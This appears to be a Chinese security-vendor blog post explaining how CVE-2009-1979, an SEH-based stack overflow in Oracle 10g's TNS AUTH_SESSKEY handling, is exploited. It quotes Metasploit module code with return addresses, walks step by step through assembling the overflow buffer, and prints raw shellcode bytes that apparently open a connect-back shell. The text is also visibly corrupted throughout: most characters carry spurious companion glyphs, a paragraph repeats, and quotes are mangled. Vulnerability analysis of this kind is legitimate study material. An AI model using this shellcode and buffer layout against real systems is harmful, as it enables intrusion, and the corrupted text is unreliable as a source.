隨著數(shù)據(jù)庫入侵手段的發(fā)展,對(duì)數(shù)據(jù)庫的攻擊已經(jīng)不僅僅是針對(duì)數(shù)據(jù)庫本身,而是擴(kuò)展到數(shù)據(jù)庫的各種組建(甚至中間件中)。TNS(Transparence Network Substrate)作為ORACLE的核心組件之一,主要負(fù)責(zé)選擇oracle協(xié)議配置器,確定一種客戶端和服務(wù)器都支持的傳輸協(xié)議進(jìn)行傳輸。TNS不僅定義了數(shù)據(jù)庫和客戶端之間的通訊協(xié)議,更負(fù)責(zé)對(duì)客戶端進(jìn)行身份驗(yàn)證(確認(rèn)客戶端所用用戶名和密碼是否合法)。簡單說如果TNS有可利用漏洞則可能直接對(duì)Oracle造成入侵,本文將具體介紹如何通過TNS上的緩沖區(qū)漏洞入侵oracle所在操作系統(tǒng)。所用例子為CVE-2009-1979。借鑒該漏洞原作者的攻擊代碼,用metasploit做攻擊工具,對(duì)一臺(tái)win2003sp1上的oracle10g2.0.1.0進(jìn)行攻擊。
隨著數(shù)據(jù)庫入侵手段的發(fā)展,對(duì)數(shù)據(jù)庫的攻擊已經(jīng)不僅僅是針對(duì)數(shù)據(jù)庫本身,而是擴(kuò)展到數(shù)據(jù)庫的各種組建(甚至中間件中)。
TNS(Transparance Network Substrate)作為ORACLE的核心組件之一,主要負(fù)責(zé)選擇oracle協(xié)議配置器,確定一種客戶端和服務(wù)器都支持的傳輸協(xié)議進(jìn)行傳輸。TNS不僅定義了數(shù)據(jù)庫和客戶端之間的通訊協(xié)議,更負(fù)責(zé)對(duì)客戶端進(jìn)行身份驗(yàn)證(確認(rèn)客戶端所用用戶名和密碼是否合法)。簡單說如果TNS有可利用漏洞則可能直接對(duì)Oracle造成入侵。利用TNS入侵oracle基本有3種方式:1.通過劫持TNS信息,把oracle的登錄信息劫持到攻擊者機(jī)器,獲取敏感信息,甚至獲取oracle管理員賬號(hào)密碼。具體請(qǐng)參考安華金和數(shù)據(jù)庫安全實(shí)驗(yàn)室發(fā)表的《Oracle數(shù)據(jù)庫漏洞隱患 無需user/password快速入侵 》一文。2.直接對(duì)在TNS中加密的oracle登錄密鑰進(jìn)行破解具體請(qǐng)參考安華金和數(shù)據(jù)庫安全實(shí)驗(yàn)室發(fā)表《見招拆招,破解oracle密碼》一文。3.通過緩沖區(qū)溢出的方式,在oracle調(diào)用異常的TNS參數(shù)的時(shí)候獲取oracle本地操作系統(tǒng)的控制權(quán)限。
本文將具體介紹方式3,通過TNS上的緩沖區(qū)漏洞入侵oracle所在操作系統(tǒng)。所用例子為CVE-2009-1979。借鑒該漏洞原作者的攻擊代碼,用metasploit做攻擊工具,對(duì)一臺(tái)win2003sp1上的oracle10g2.0.1.0進(jìn)行攻擊。
CVE-2009-1979(原作者代碼http://www.securityfocus.com/archive/1/507598)這個(gè)漏洞簡單說就是:客戶端和服務(wù)器確定要使用的驗(yàn)證機(jī)制后。進(jìn)行O3logon驗(yàn)證(該協(xié)議是為了客戶端向數(shù)據(jù)庫證明客戶端擁有合法密鑰)每次登錄數(shù)據(jù)庫的時(shí)候都會(huì)走o3logon協(xié)議。在這個(gè)協(xié)議中客戶端在獲取數(shù)據(jù)庫發(fā)來的AUTH_SEKEEY后,會(huì)向數(shù)據(jù)庫發(fā)送一個(gè)對(duì)應(yīng)的AUTH_SEKEEY和AUTH_PASSWORD。oracle10g1.0.5到10.2.04這些版本中客戶端發(fā)送的AUTH_SEKEEY由于沒有對(duì)內(nèi)容的長度進(jìn)行合理限制。導(dǎo)致成為一個(gè)緩沖區(qū)溢出的注入點(diǎn)。一個(gè)正常的AUTH_SEKEEY長度是64位(如下圖所示)。而如果AUTH_SEKEEY長度超過64位則可能修改AUTH_SEKEEY附近的內(nèi)存變量。導(dǎo)致出現(xiàn)不可預(yù)計(jì)的結(jié)果。
光知道AUTH_SEKEEY存在一個(gè)注入點(diǎn)是不夠的,還需要進(jìn)一步了解AUTH_SEKEEY是以什么方式存儲(chǔ)在內(nèi)存中的才可能有針對(duì)性的利用這個(gè)注入點(diǎn)。由于AUTH_SEKEEY是TNS接收的一個(gè)參數(shù)所以AUTH_SEKEEY在內(nèi)存中的存儲(chǔ)方式和TNS對(duì)消息的存儲(chǔ)方式密切相關(guān)。客戶端發(fā)送信息包到達(dá)服務(wù)器端經(jīng)歷了多個(gè)軟件層。為了便于理解我們把這個(gè)過程做一個(gè)簡化。從客戶端開始信息被傳遞到客戶端本地TNS,客戶端本地TNS格式化這個(gè)信息,并將它發(fā)送給操作系統(tǒng)協(xié)議棧。操作系統(tǒng)協(xié)議棧通過網(wǎng)絡(luò)將這個(gè)信息傳遞給服務(wù)器的協(xié)議棧:接著這個(gè)消息被傳遞給TNS,最終oracle調(diào)用TNS中傳過來的信息。這個(gè)過程可以粗略的看成是在系統(tǒng)棧中進(jìn)行的。所以可以基本認(rèn)為CVE-2009-1979是一個(gè)緩沖區(qū)棧溢出漏洞。利用AUTH_SEKEEY值長度異常進(jìn)行的棧緩沖區(qū)溢出攻擊。關(guān)于緩沖區(qū)棧溢出原理可以參考安華金和數(shù)據(jù)庫安全實(shí)驗(yàn)室發(fā)表的《windows緩沖區(qū)溢出原理(棧)》一文。
代碼詳解
為了更細(xì)致說明這個(gè)漏洞的具體機(jī)制,直接參考metasploit上關(guān)于該漏洞的代碼。代碼主體結(jié)構(gòu)為:
require ‘msf/core’
class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::TNS
include Msf::Exploit::Remote::Seh
def initialize(info = {})
def check
def exploit
………..
end
其中核心函數(shù)只有initialize() 和exploit 兩個(gè)。initialize主要是用來對(duì)漏洞利用的說明。exploit用來真正進(jìn)行緩沖區(qū)溢出攻擊。置于其他函數(shù)不屬于關(guān)鍵函數(shù),所以本文不介紹。
initialize的核心代碼為:
‘DefaultOptions’ =>
{
‘EXITFUNC’ => ‘seh’,
},
‘Payload’??????? =>
{
‘Space’??? => 0x17e,
‘BadChars’ => “”, # none, thx memcpy!
‘StackAdjustment’ => -3500,
},
‘Platform’?????? => ‘win’,
‘Targets’??????? =>
[
[ ‘Automatic’, { } ],
[ ‘Oracle 10.2.0.1.0 Enterprise Edition’,
{
# Untested
‘Ret’ => 0x011b0528 # p/p/r in oracle.exe v10.2.0.3
}
],
[ ‘Oracle 10.2.0.4.0 Enterprise Edition’,
{
# Tested OK – 2010-Jan-20 – jduck
‘Ret’ => 0x01347468 # p/p/r in oracle.exe v10.2.0.3
}
]
],
‘DefaultTarget’ => 0,
‘DisclosureDate’ => ‘Oct 20 2009′))
initialize函數(shù)說明該漏洞被利用的條件(圖中標(biāo)紅的地方為關(guān)鍵重點(diǎn))該漏洞被描述為利用緩沖區(qū)棧溢出的SEH方式。這里的payload指的單純是shellcode,而不是整個(gè)向注入點(diǎn)中注入的字符串(本文中就是組成AUTH_SESSKEY的值)。其中特別指出了整個(gè)棧中可被shellcode覆蓋的空間限制為382個(gè)字節(jié)。badchars是限制用于填充空指令的限制字符。在win2003上對(duì)填充字符沒有限制(有限制是為了防止填充字符對(duì)shellcode造成破壞,每種指令集的填充字符不同。)platform說明需要操作系統(tǒng)為WIN系列。這是因?yàn)椴煌牟僮飨到y(tǒng)棧的結(jié)構(gòu)、對(duì)棧緩沖區(qū)溢出的保護(hù)程度都是不同的(即便同樣的操作系統(tǒng)不同的補(bǔ)丁下API基地址也有變化這回對(duì)緩沖區(qū)攻擊造成很大影響)targets是指的可用于攻擊的數(shù)據(jù)庫版本號(hào)和SEH方法最關(guān)鍵的POP/POP/RET地址。本例中采用的是orcale10.2.0.1.0所以POP/POP/RET地址為0x011b0528。initialize最關(guān)鍵的3個(gè)點(diǎn)是:1.指出了shellcode的最大長度。2.指出了對(duì)應(yīng)版本oracle用于SEH的POP/POP/RET地址 。3對(duì)緩沖區(qū)溢出填充字符做了限制,防止sploit 被填充字符破壞。
exploit函數(shù)核心代碼:
#偽造客戶端給數(shù)據(jù)庫發(fā)送的前6個(gè)包
# build exploit buffer
print_status(“Calling kpoauth with long AUTH_SESSKEY …”)
sploit = payload.encoded???????????????????????????????????????????? 1
sploit << rand_text_alphanumeric(0x1aa – 0x17e)???????????????????????? 2
sploit << generate_seh_record(mytarget.ret)???????????????????????????? 3
distance = payload_space + 0x2D
sploit<<Metasm::Shellcode.assemble(Metasm::Ia32.new,”jmp$-“+??????????? 4
distance.to_s).encode_string
expliot函數(shù)主要負(fù)責(zé)2個(gè)任務(wù):
1.偽造oracle客戶端給真實(shí)的數(shù)據(jù)庫發(fā)送包,直至發(fā)送到含有AUTH_SESSKEY字符串的數(shù)據(jù)包為止。下圖就是偽造的數(shù)據(jù)包,exploit偽造的就是IP為10.10.10.128的客戶端。10.10.10.130就是要入侵的目標(biāo)數(shù)據(jù)庫。
2.創(chuàng)建緩沖區(qū)溢出的sploit (build exploit buffer開始的內(nèi)容),首先給出制造的緩沖區(qū)溢出的整體結(jié)構(gòu): shellcode腳本+隨機(jī)地址+短跳板+返回地址+長跳板。下面逐行說明:
第一行:sploit = payload.encoded
存入shellcode。這個(gè)shellcode的功能是直接獲取被攻擊機(jī)器的操作系統(tǒng)權(quán)限。代碼如下:
“\xFC\xE8\x89\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B”
“\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0″
“\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57″
“\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4A\x01″
“\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01\xD3\xE3\x3C\x49\x8B\x34\x8B”
“\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4″
“\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B”
“\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24″
“\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D”
“\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5F\x54\x68\x4C\x77\x26\x07″
“\xFF\xD5\xB8\x90\x01\x00\x00\x29\xC4\x54\x50\x68\x29\x80\x6B\x00″
“\xFF\xD5\x50\x50\x50\x50\x40\x50\x40\x50\x68\xEA\x0F\xDF\xE0\xFF”
“\xD5\x97\x6A\x05\x68\x7F\x00\x00\x01\x68\x02\x00\x11\x5C\x89\xE6″
“\x6A\x10\x56\x57\x68\x99\xA5\x74\x61\xFF\xD5\x85\xC0\x74\x0C\xFF”
“\x4E\x08\x75\xEC\x68\xF0\xB5\xA2\x56\xFF\xD5\x6A\x00\x6A\x04\x56″
“\x57\x68\x02\xD9\xC8\x5F\xFF\xD5\x8B\x36\x6A\x40\x68\x00\x10\x00″
“\x00\x56\x6A\x00\x68\x58\xA4\x53\xE5\xFF\xD5\x93\x53\x6A\x00\x56″
“\x53\x57\x68\x02\xD9\xC8\x5F\xFF\xD5\x01\xC3\x29\xC6\x85\xF6\x75″
“\xEC\xC3″
shellcode簡單說就是一段為緩沖區(qū)溢出攻擊而植入進(jìn)程的代碼,大多數(shù)是用匯編語言編寫的。shellcode本身根據(jù)跳入的方式不同分為jump/call、pop? return、push return、jmp[reg+offset]、blind return、SEH等多種類型。由于本文重點(diǎn)不在討論shellcode。所以此處略過,以后會(huì)補(bǔ)上shellcode專門介紹的文章。本文的shellcode用的是SEH這種方式。
第二行:sploit << rand_text_alphanumeric(0x1aa – 0x17e)
生成填滿目標(biāo)地址到源地址之間的隨機(jī)數(shù)。用隨機(jī)數(shù)而不用固定的一串字符,最主要的原因是防止程序被某些防護(hù)機(jī)制處理而導(dǎo)致實(shí)驗(yàn)失敗。TNS收到數(shù)據(jù)后會(huì)在oracommon10.dll中的函數(shù)kpzgkvl中進(jìn)行檢查。檢查后用數(shù)據(jù)intel_fast_memcpy(這個(gè)函數(shù)是編譯的時(shí)候intel對(duì)指令對(duì)memcpy進(jìn)行了優(yōu)化,而產(chǎn)生的代替memcpy的函數(shù))拷貝給oracle處理。同樣AUTH_SESSKEY的值也會(huì)走這個(gè)過程。溢出點(diǎn)就出現(xiàn)在這個(gè)拷貝函數(shù)中。拷貝的源地址是04AB99A4、目標(biāo)地址是0x0673dB96(本文出現(xiàn)的所有地址只是作者的win2003sp1上的地址,打上不同補(bǔ)丁的操作系統(tǒng)地址會(huì)有變化),而最近的SEH地址為0X0673DD40。地址04AB99A4中存儲(chǔ)的AUTH_SESSKEY值通過intel_fast_memcpy拷貝到地址0x0673dB96。對(duì)04AB99A4中存儲(chǔ)的AUTH_SESSKEY值沒有長度判斷導(dǎo)致,在拷貝到0x0673dB96后覆蓋到0X0673DD40(SEH地址)發(fā)生緩沖區(qū)溢出。如果想要AUTH_SESSKEY的值從地址0x0673dB96一直覆蓋到地址0X0673DD40,則需要考入426(0x1aa)個(gè)字符。只有在04AB99A4這個(gè)點(diǎn)輸入426長度的字符串才有可能。這個(gè)漏洞的initialize中指出shellcode空間為382(0x17e)。不滿足覆蓋需求所以需要用(0x1aa – 0x17e)個(gè)字符來填充保證能覆蓋到SEH(0X0673DD40)。為了更清楚說明為什么要覆蓋到0X0673DD40,下面說明和本例相關(guān)的SEH中的一小部分。
SEH是windows的異常出處理機(jī)制。任何程序的異常處理本質(zhì)上都是安裝了SEH。一個(gè)線程中允許存在多個(gè)SEH。如果一個(gè)線程中沒有做任何異常處理。windows也會(huì)在創(chuàng)建線程的開始通過系統(tǒng)函數(shù)來創(chuàng)建一個(gè)系統(tǒng)級(jí)SEH(當(dāng)所有的SEH都無法處理異常的時(shí)候,最終會(huì)調(diào)用系統(tǒng)函數(shù)處理異常。結(jié)果就是彈出一個(gè)對(duì)話框,并強(qiáng)制關(guān)閉程序)。
在一個(gè)棧中每個(gè)SEH大小為8字節(jié),有2個(gè)4字節(jié)成員組成,低地址位存儲(chǔ)的是指向下一個(gè)SEH鏈表的指針,高地址位存儲(chǔ)的是異常處理函數(shù)地址。當(dāng)異常發(fā)生時(shí)會(huì)從TEB(線程環(huán)境塊)中讀取指向SEH鏈的指針,開始從異常觸發(fā)地方由近及遠(yuǎn)逐個(gè)訪問SEH,如果距離異常觸發(fā)地方最近的SEH能處理該異常,則由該SEH處理。如果無法處理則沿著SEH鏈跳向下一個(gè)SEH。以此類推直到異常處理。最后一個(gè)SEH鏈的底部是FFFFFFFF。最后一個(gè)SEH就是線程開始系統(tǒng)創(chuàng)建的SEH。
緩沖區(qū)溢出SEH方式就是利用字符串覆蓋掉SEH鏈中距離,異常觸發(fā)點(diǎn)最近的SEH。把SEH handle(0x0673DD44)地址覆蓋成pop/pop/ret類型(0x11b0528)。欺騙SEH handle執(zhí)行pop/pop/ret,過程紅會(huì)把pointer to next SEH rerord的地址放入EIP中最終ret會(huì)跳出到pointer to next SEH rerord中。具體過程為:當(dāng)異常觸發(fā)的時(shí)候,異常會(huì)自動(dòng)自己創(chuàng)建一個(gè)棧幀。它會(huì)把SEH handle成員壓入新創(chuàng)建的棧幀中。在SEH結(jié)構(gòu)中有一個(gè)域是EstablisherFrame。這個(gè)域指向異常管理注冊(cè)記錄,pointer to next SEH rerord的地址被壓入棧中,被壓入的這個(gè)值位于ESP+8的位置。pop/pop/ret串覆蓋SEH handle 后第一次pop 彈出棧頂?shù)?bytes,接下來pop繼續(xù)從棧中彈出4bytes。最后ret將把此時(shí)ESP所指棧頂中的值(pointer to next SEH rerord)放到EIP中。所以被pop/pop/ret覆蓋的SEH handle會(huì)跳轉(zhuǎn)回pointer to next SEH rerord。
由于pointer to next SEH rerord被改寫成EB 06 +2個(gè)隨機(jī)字符(湊成一行)則會(huì)跳過下面被改寫的SEH handle。執(zhí)行SEH handle后面的內(nèi)容。如果后面的內(nèi)容是shellcode或者是指向shellcoded的跳轉(zhuǎn)指針,則跳入shellcode開始執(zhí)行shellcode。
第三行. sploit << generate_seh_record(mytarget.ret)
通過函數(shù)generate_seh_record生成2行覆蓋pointer to next SEH rerord的短跳板(包含EB 06、兩個(gè)隨機(jī)字符(湊成4字節(jié)))和覆蓋SEH handle的返回地址(pop/pop/ret類型的0x11b0528)來完成覆蓋SEH跳轉(zhuǎn)到shellcode或下一個(gè)跳板的過程。
第四行
sploit<<Metasm::Shellcode.assemble(Metasm::Ia32.new,”jmp$-“+distance.to_s).encode_string
這句是一個(gè)長跳板。jmp$-表明是負(fù)跳轉(zhuǎn)(由內(nèi)存低地址跳回內(nèi)存高地址)設(shè)置長跳板位于從pointer to next SEH rerord跳過SEH hande 后,執(zhí)行長跳板跳回sploit的起始地址,開始執(zhí)行shellcode。
整個(gè)sploit 的結(jié)構(gòu)是 shellcode+隨機(jī)填充值+短跳板+pop/pop/ret地址+長跳板(跳回最開始的)shellcode。最后把這個(gè)值賦給AUTH_SESSKEY,給數(shù)據(jù)庫發(fā)送含有AUTH_SESSKEY的包。至此入侵完畢,為了效果更直觀,在入侵機(jī)上運(yùn)行腳本打開遠(yuǎn)程連接直接用 sqlplus / as sysdba 登錄被入侵機(jī)數(shù)據(jù)庫完成整個(gè)攻擊。效果如下圖所示:
至此漏洞CVE-2009-1979介紹完畢。安華金和數(shù)據(jù)庫安全實(shí)驗(yàn)室將在下一篇文章中和大家分享此文中略過的shellcode的分類、用法、范圍限制等內(nèi)容。
安華金和數(shù)據(jù)庫安全產(chǎn)品已經(jīng)廣泛地應(yīng)用于政府、軍隊(duì)、軍工、運(yùn)營商、金融、企業(yè)信息防護(hù)等領(lǐng)域,建立了一定的聲譽(yù),成為眾多企業(yè)在該領(lǐng)域?qū)で蟀踩a(chǎn)品和服務(wù)的首選。
本文出自 “無形網(wǎng)絡(luò)信息博客” 博客,http://wxsec.blog.51cto.com/10036527/1625761